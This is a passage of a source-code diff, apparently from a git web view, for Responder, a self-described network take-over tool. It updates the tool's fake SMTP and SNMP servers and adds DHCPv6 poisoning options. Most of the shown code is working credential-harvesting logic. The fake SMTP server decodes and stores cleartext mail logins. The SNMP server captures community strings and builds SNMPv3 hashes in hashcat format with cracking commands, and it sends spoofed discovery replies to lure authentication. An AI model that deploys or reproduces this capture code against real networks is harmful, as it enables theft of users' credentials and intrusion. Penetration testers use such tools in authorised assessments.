"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
|
||||
"SIZE 35651584",
|
||||
"8BITMIME",
|
||||
"PIPELINING",
|
||||
"ENHANCEDSTATUSCODES"
|
||||
]
|
||||
self.send_multiline_response(250, capabilities)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == b'AUTH':
|
||||
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
|
||||
if AuthPlain:
|
||||
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
|
||||
Username = User[0].decode('latin-1')
|
||||
Password = User[1].decode('latin-1')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Username,
|
||||
'cleartext': Password,
|
||||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
else:
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Handle STARTTLS command
|
||||
if data[0:8].upper() == b'STARTTLS':
|
||||
self.send_response(220, "Ready to start TLS")
|
||||
|
||||
if data:
|
||||
try:
|
||||
User = list(filter(None, b64decode(data).split(b'\x00')))
|
||||
Username = User[0].decode('latin-1')
|
||||
Password = User[1].decode('latin-1')
|
||||
except:
|
||||
Username = b64decode(data).decode('latin-1')
|
||||
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try: Password = b64decode(data).decode('latin-1')
|
||||
except: Password = data
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Username,
|
||||
'cleartext': Password,
|
||||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
# Upgrade to TLS
|
||||
if self.upgrade_to_tls():
|
||||
# After successful TLS upgrade, client will send EHLO again
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Handle EHLO after STARTTLS
|
||||
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
|
||||
# Send capabilities again (without STARTTLS this time)
|
||||
capabilities = [
|
||||
settings.Config.MachineName + " Hello",
|
||||
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
|
||||
"SIZE 35651584",
|
||||
"8BITMIME",
|
||||
"PIPELINING",
|
||||
"ENHANCEDSTATUSCODES"
|
||||
]
|
||||
self.send_multiline_response(250, capabilities)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
# TLS upgrade failed
|
||||
self.send_response(454, "TLS not available")
|
||||
return
|
||||
|
||||
# Handle AUTH command
|
||||
if data[0:4].upper() == b'AUTH':
|
||||
mechanism = data[5:].strip().split(b' ')[0].upper()
|
||||
|
||||
if mechanism == b'PLAIN':
|
||||
if self.handle_auth_plain(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'LOGIN':
|
||||
if self.handle_auth_login(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
|
||||
if self.handle_auth_cram_md5(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'DIGEST-MD5' or mechanism.startswith(b'DIGEST'):
|
||||
if self.handle_auth_digest_md5(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'NTLM':
|
||||
if self.handle_auth_ntlm(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
else:
|
||||
self.send_response(504, "Unrecognized authentication type")
|
||||
return
|
||||
|
||||
# Handle other commands
|
||||
self.send_response(250, "OK")
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
393
servers/SNMP.py
393
servers/SNMP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,48 +15,377 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from binascii import hexlify
|
||||
from pyasn1.codec.ber.decoder import decode
|
||||
from binascii import hexlify, unhexlify
|
||||
import struct
|
||||
|
||||
try:
|
||||
from pyasn1.codec.ber.decoder import decode
|
||||
from pyasn1.codec.ber.encoder import encode
|
||||
HAS_PYASN1 = True
|
||||
except ImportError:
|
||||
HAS_PYASN1 = False
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Warning: pyasn1 not installed, SNMP server disabled'))
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# SNMPv3 Authentication Algorithms
|
||||
SNMPV3_AUTH_ALGORITHMS = {
|
||||
b'\x06\x0c\x2b\x06\x01\x06\x03\x0f\x01\x01\x04\x00': ('usmNoAuthProtocol', None),
|
||||
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x02': ('usmHMACMD5AuthProtocol', 25100),
|
||||
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x03': ('usmHMACSHAAuthProtocol', 25200),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x04': ('usmHMAC128SHA224AuthProtocol', 25300),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x05': ('usmHMAC192SHA256AuthProtocol', 25400),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x06': ('usmHMAC256SHA384AuthProtocol', 25500),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x07': ('usmHMAC384SHA512AuthProtocol', 25600),
|
||||
}
|
||||
|
||||
class SNMP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data = self.request[0]
|
||||
received_record, rest_of_substrate = decode(data)
|
||||
|
||||
snmp_version = int(received_record['field-0'])
|
||||
|
||||
if snmp_version == 3:
|
||||
full_snmp_msg = hexlify(data).decode('utf-8')
|
||||
if not HAS_PYASN1:
|
||||
return
|
||||
|
||||
try:
|
||||
data = self.request[0]
|
||||
socket = self.request[1]
|
||||
|
||||
# Decode the SNMP message
|
||||
try:
|
||||
received_record, rest_of_substrate = decode(data)
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] ASN.1 decode error: %s' % str(e)))
|
||||
return
|
||||
|
||||
# Get SNMP version
|
||||
try:
|
||||
snmp_version = int(received_record['field-0'])
|
||||
except:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Could not determine SNMP version'))
|
||||
return
|
||||
|
||||
# Handle SNMPv3
|
||||
if snmp_version == 3:
|
||||
self.handle_snmpv3(data, received_record, socket)
|
||||
# Handle SNMPv1/v2c
|
||||
else:
|
||||
self.handle_snmpv1v2c(data, received_record, snmp_version, socket)
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Exception in handler: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def handle_snmpv3(self, data, received_record, socket):
|
||||
"""Handle SNMPv3 messages and extract authentication parameters"""
|
||||
try:
|
||||
# Decode the inner security parameters
|
||||
received_record_inner, _ = decode(received_record['field-2'])
|
||||
|
||||
# Extract fields
|
||||
snmp_user = str(received_record_inner['field-3'])
|
||||
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
|
||||
engine_boots = int(received_record_inner['field-1'])
|
||||
engine_time = int(received_record_inner['field-2'])
|
||||
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
|
||||
|
||||
|
||||
priv_params = hexlify(received_record_inner['field-5']._value).decode('utf-8')
|
||||
|
||||
# Zero out authentication parameters in packet for hashcat
|
||||
# Hashcat recalculates HMAC over packet with auth params = zeros
|
||||
data_hex = hexlify(data).decode('utf-8')
|
||||
if auth_params and auth_params != '00' * 12:
|
||||
# Replace auth params with zeros in the packet
|
||||
zeroed_auth = '00' * (len(auth_params) // 2)
|
||||
full_snmp_msg = data_hex.replace(auth_params, zeroed_auth)
|
||||
else:
|
||||
full_snmp_msg = data_hex
|
||||
|
||||
# Determine authentication algorithm
|
||||
auth_algo_name, hashcat_mode = self.identify_auth_algorithm(data)
|
||||
|
||||
# If not detected by OID, infer from auth params length
|
||||
if not hashcat_mode and auth_params and auth_params != '00' * 12:
|
||||
auth_len = len(auth_params) // 2 # Convert hex to bytes
|
||||
if auth_len == 12:
|
||||
# Could be MD5 or SHA1 - use combined mode
|
||||
auth_algo_name = 'HMAC-MD5-96/HMAC-SHA1-96'
|
||||
hashcat_mode = 25000
|
||||
elif auth_len == 16:
|
||||
auth_algo_name = 'HMAC-SHA224'
|
||||
hashcat_mode = 25300
|
||||
elif auth_len == 24:
|
||||
auth_algo_name = 'HMAC-SHA256'
|
||||
hashcat_mode = 25400
|
||||
elif auth_len == 32:
|
||||
auth_algo_name = 'HMAC-SHA384'
|
||||
hashcat_mode = 25500
|
||||
elif auth_len == 48:
|
||||
auth_algo_name = 'HMAC-SHA512'
|
||||
hashcat_mode = 25600
|
||||
|
||||
# Check if this is a discovery request (no auth params and empty username)
|
||||
if (not auth_params or auth_params == '00' * 12) and (not snmp_user or snmp_user == ''):
|
||||
# Send discovery response with our engine ID
|
||||
self.send_discovery_response(socket, received_record)
|
||||
return
|
||||
|
||||
# Check if authentication is actually being used
|
||||
if not auth_params or auth_params == '00' * 12:
|
||||
# Still save the username with noAuth indicator
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3-noAuth",
|
||||
"client": self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"cleartext": "(noAuth)",
|
||||
"fullhash": snmp_user + ":(noAuth)"
|
||||
})
|
||||
return
|
||||
|
||||
# Build hashcat-compatible hash
|
||||
if hashcat_mode:
|
||||
# Format for mode 25000: $SNMPv3$<type>$<boots>$<packet>$<engine_id>$<auth_params>
|
||||
# type: 0=MD5/SHA1, 1=SHA1, 2=SHA224, etc.
|
||||
# boots: engine boots in decimal
|
||||
# packet: full SNMP packet in hex
|
||||
# engine_id: engine ID in hex
|
||||
# auth_params: authentication parameters in hex
|
||||
|
||||
auth_type_map = {
|
||||
25000: 0, # MD5/SHA1 combined
|
||||
25100: 0, # MD5
|
||||
25200: 1, # SHA1
|
||||
25300: 2, # SHA224
|
||||
25400: 3, # SHA256
|
||||
25500: 4, # SHA384
|
||||
25600: 5, # SHA512
|
||||
}
|
||||
auth_type = auth_type_map.get(hashcat_mode, 0)
|
||||
|
||||
# Build the hash in correct format
|
||||
hashcat_hash = "$SNMPv3$%d$%d$%s$%s$%s" % (
|
||||
auth_type,
|
||||
engine_boots,
|
||||
full_snmp_msg,
|
||||
engine_id,
|
||||
auth_params
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] SNMPv3 hash captured!'))
|
||||
print(text('[SNMP] Crack with: hashcat -m %d hash.txt wordlist.txt' % hashcat_mode))
|
||||
if hashcat_mode == 25000:
|
||||
print(text('[SNMP] Note: Mode 25000 tries both MD5 and SHA1'))
|
||||
print(text('[SNMP] Or use -m 25100 (MD5 only) or -m 25200 (SHA1 only)'))
|
||||
|
||||
# Sanitize type name for filesystem (remove slashes)
|
||||
safe_type = auth_algo_name.replace('/', '-')
|
||||
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3-%s" % safe_type,
|
||||
"client": self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": hashcat_hash,
|
||||
"fullhash": hashcat_hash
|
||||
})
|
||||
else:
|
||||
# Unknown algorithm or no auth - save basic info
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3",
|
||||
"client": self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": auth_params,
|
||||
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
|
||||
})
|
||||
|
||||
# Send a response (Report PDU indicating authentication failure)
|
||||
# This keeps the conversation going
|
||||
self.send_snmpv3_report(socket)
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] SNMPv3 parsing error: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def handle_snmpv1v2c(self, data, received_record, snmp_version, socket):
|
||||
"""Handle SNMPv1/v2c messages and extract community strings"""
|
||||
try:
|
||||
community_string = str(received_record['field-1'])
|
||||
version_str = 'v1' if snmp_version == 0 else 'v2c'
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] %s Community String: %s' % (version_str, community_string)))
|
||||
|
||||
# Validate community string (should be printable)
|
||||
if not community_string or not self.is_printable(community_string):
|
||||
return
|
||||
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3",
|
||||
"client" : self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": auth_params,
|
||||
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
|
||||
"type": "Cleartext SNMP%s" % version_str,
|
||||
"client": self.client_address[0],
|
||||
"user": community_string,
|
||||
"cleartext": community_string,
|
||||
"fullhash": community_string,
|
||||
})
|
||||
else:
|
||||
community_string = str(received_record['field-1'])
|
||||
snmp_version = '1' if snmp_version == 0 else '2c'
|
||||
|
||||
SaveToDb(
|
||||
{
|
||||
"module": "SNMP",
|
||||
"type": "Cleartext SNMPv{}".format(snmp_version),
|
||||
"client": self.client_address[0],
|
||||
"user": community_string,
|
||||
"cleartext": community_string,
|
||||
"fullhash": community_string,
|
||||
}
|
||||
)
|
||||
|
||||
# Send a response (could be a proper SNMP response or error)
|
||||
# For now, we just close the connection
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] SNMPv1/v2c parsing error: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def identify_auth_algorithm(self, data):
|
||||
"""
|
||||
Identify the authentication algorithm used in SNMPv3
|
||||
Returns (algorithm_name, hashcat_mode)
|
||||
"""
|
||||
try:
|
||||
# Look for OID patterns in the raw data
|
||||
for oid_bytes, (algo_name, hashcat_mode) in SNMPV3_AUTH_ALGORITHMS.items():
|
||||
if oid_bytes in data:
|
||||
return (algo_name, hashcat_mode)
|
||||
|
||||
# If not found by OID, try to infer from auth params length
|
||||
# MD5: 12 bytes, SHA1: 12 bytes, SHA224: 16 bytes, SHA256: 24 bytes, SHA384: 32 bytes, SHA512: 48 bytes
|
||||
# Note: This is less reliable
|
||||
|
||||
return (None, None)
|
||||
except:
|
||||
return (None, None)
|
||||
|
||||
def is_printable(self, s):
|
||||
"""Check if string contains only printable characters"""
|
||||
try:
|
||||
return all(32 <= ord(c) <= 126 for c in s)
|
||||
except:
|
||||
return False
|
||||
|
||||
def send_snmpv3_report(self, socket):
|
||||
"""
|
||||
Send a minimal SNMPv3 Report PDU
|
||||
This indicates authentication failure but keeps the conversation alive
|
||||
"""
|
||||
try:
|
||||
# Minimal Report PDU - just close for now
|
||||
# A proper implementation would build a valid SNMP Report PDU
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
def send_discovery_response(self, socket, received_record):
|
||||
"""
|
||||
Send SNMPv3 discovery response with engine ID
|
||||
This allows the client to send authenticated request
|
||||
"""
|
||||
try:
|
||||
from pyasn1.type import univ
|
||||
from pyasn1.codec.ber.encoder import encode
|
||||
import os
|
||||
import time
|
||||
|
||||
# Generate a random engine ID (or use a fixed one)
|
||||
# Format: 0x80 + enterprise ID (4 bytes) + format + data
|
||||
# Enterprise ID: 0x00000000 (reserved)
|
||||
# Format: 0x05 (octets - allows arbitrary data)
|
||||
# Data: 12 random bytes (17 bytes total to match hashcat requirements)
|
||||
engine_id = b'\x80\x00\x00\x00\x05' + os.urandom(12)
|
||||
|
||||
# Engine boots and time
|
||||
engine_boots = 1
|
||||
engine_time = int(time.time()) % 2147483647
|
||||
|
||||
# Build the SNMPv3 message with Report-PDU
|
||||
# Structure: SEQUENCE { version, globalData, securityParameters, scopedPDU }
|
||||
|
||||
# Global data
|
||||
msg_id = int(received_record['field-1']['field-0'])
|
||||
global_data = univ.Sequence()
|
||||
global_data.setComponentByPosition(0, univ.Integer(msg_id))
|
||||
global_data.setComponentByPosition(1, univ.Integer(65507)) # max size
|
||||
global_data.setComponentByPosition(2, univ.OctetString(hexValue='04')) # flags: reportable
|
||||
global_data.setComponentByPosition(3, univ.Integer(3)) # USM
|
||||
|
||||
# Security parameters (USM)
|
||||
usm_params = univ.Sequence()
|
||||
usm_params.setComponentByPosition(0, univ.OctetString(hexValue=engine_id.hex())) # engine ID
|
||||
usm_params.setComponentByPosition(1, univ.Integer(engine_boots))
|
||||
usm_params.setComponentByPosition(2, univ.Integer(engine_time))
|
||||
usm_params.setComponentByPosition(3, univ.OctetString('')) # username
|
||||
usm_params.setComponentByPosition(4, univ.OctetString(hexValue='00' * 12)) # auth params
|
||||
usm_params.setComponentByPosition(5, univ.OctetString('')) # priv params
|
||||
|
||||
# Encode USM params
|
||||
usm_encoded = encode(usm_params)
|
||||
|
||||
from pyasn1.type import tag
|
||||
|
||||
# Build Report-PDU with IMPLICIT tagging [8]
|
||||
# The [8] tag REPLACES the SEQUENCE tag, not wraps it
|
||||
|
||||
# VarBind: OID + value
|
||||
varbind_inner = univ.Sequence()
|
||||
varbind_inner.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.6.3.15.1.1.4.0'))
|
||||
varbind_inner.setComponentByPosition(1, univ.Integer(1))
|
||||
varbind_encoded = encode(varbind_inner)
|
||||
|
||||
# VarBindList (SEQUENCE OF)
|
||||
varbind_list_content = varbind_encoded
|
||||
varbind_list_bytes = bytes([0x30, len(varbind_list_content)]) + varbind_list_content
|
||||
|
||||
# Report-PDU content (without SEQUENCE tag, will use [8] instead)
|
||||
report_content = b''
|
||||
# request-id
|
||||
report_content += encode(univ.Integer(msg_id))
|
||||
# error-status
|
||||
report_content += encode(univ.Integer(0))
|
||||
# error-index
|
||||
report_content += encode(univ.Integer(0))
|
||||
# variable-bindings
|
||||
report_content += varbind_list_bytes
|
||||
|
||||
# Tag as [8] IMPLICIT (replaces SEQUENCE tag)
|
||||
report_pdu_bytes = bytes([0xa8, len(report_content)]) + report_content
|
||||
|
||||
# Build scopedPDU as plain SEQUENCE (no [0] tag for plaintext)
|
||||
# RFC 3412: plaintext msgData is just the ScopedPDU SEQUENCE
|
||||
scoped_content = b''
|
||||
# contextEngineID (OCTET STRING)
|
||||
engine_bytes = bytes.fromhex(engine_id.hex())
|
||||
scoped_content += bytes([0x04, len(engine_bytes)]) + engine_bytes
|
||||
# contextName (OCTET STRING, empty)
|
||||
scoped_content += bytes([0x04, 0x00])
|
||||
# data (Report-PDU with implicit tag [8])
|
||||
scoped_content += report_pdu_bytes
|
||||
|
||||
# msgData is just a SEQUENCE containing scopedPDU (no [0] tag)
|
||||
msg_data_bytes = bytes([0x30, len(scoped_content)]) + scoped_content
|
||||
|
||||
# Use Any to include raw bytes
|
||||
msg_data = univ.Any(hexValue=msg_data_bytes.hex())
|
||||
|
||||
# Full SNMPv3 message
|
||||
snmp_msg = univ.Sequence()
|
||||
snmp_msg.setComponentByPosition(0, univ.Integer(3)) # version snmpv3
|
||||
snmp_msg.setComponentByPosition(1, global_data)
|
||||
snmp_msg.setComponentByPosition(2, univ.OctetString(usm_encoded))
|
||||
snmp_msg.setComponentByPosition(3, msg_data) # msgData with plaintext tag
|
||||
|
||||
# Encode and send
|
||||
response = encode(snmp_msg)
|
||||
socket.sendto(response, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Sent discovery response with engine ID: %s' % engine_id.hex()))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Error sending discovery response: %s' % str(e)))
|
||||
|
||||
20
settings.py
20
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.1.7.0'
|
||||
__version__ = 'Responder 3.2.0.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -117,15 +117,17 @@ class Settings:
|
||||
|
||||
# Poisoners
|
||||
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
|
||||
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
|
||||
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
|
||||
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
|
||||
self.DHCPv6_On_Off = self.toBool(config.get('Responder Core', 'DHCPv6'))
|
||||
|
||||
# Servers
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
||||
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
|
||||
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
||||
self.MYSQL_On_Off = self.toBool(config.get('Responder Core', 'MYSQL'))
|
||||
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
||||
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
||||
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
|
||||
@@ -159,6 +161,7 @@ class Settings:
|
||||
self.NOESS_On_Off = options.NOESS_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.DHCP_On_Off = options.DHCP_On_Off
|
||||
self.DHCPv6_On_Off = options.DHCPv6_On_Off
|
||||
self.Basic = options.Basic
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
@@ -279,6 +282,17 @@ class Settings:
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||
|
||||
# DHCPv6 Server Options
|
||||
try:
|
||||
self.DHCPv6_Domain = config.get('DHCPv6 Server', 'DHCPv6_Domain')
|
||||
self.DHCPv6_SendRA = self.toBool(config.get('DHCPv6 Server', 'SendRA'))
|
||||
self.Bind_To_IPv6 = config.get('DHCPv6 Server', 'BindToIPv6')
|
||||
except:
|
||||
# Defaults if section doesn't exist
|
||||
self.DHCPv6_Domain = ''
|
||||
self.DHCPv6_SendRA = False
|
||||
self.Bind_To_IPv6 = ''
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||
self.SSLCert = config.get('HTTPS Server', 'SSLCert')
|
||||
|
||||
3
utils.py
3
utils.py
@@ -492,12 +492,14 @@ def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
print('')
|
||||
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
|
||||
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
|
||||
print(' %-27s' % "DNS" + enabled)
|
||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||
print(' %-27s' % "DHCPv6" + (enabled if settings.Config.DHCPv6_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Servers:")
|
||||
@@ -575,4 +577,3 @@ def StartupMessage():
|
||||
print('')
|
||||
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
|
||||
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")
|
||||
print(color("[*] ", 2, 1)+"To sponsor Responder: https://paypal.me/PythonResponder")
|
||||
|
||||
Reference in New Issue
Block a user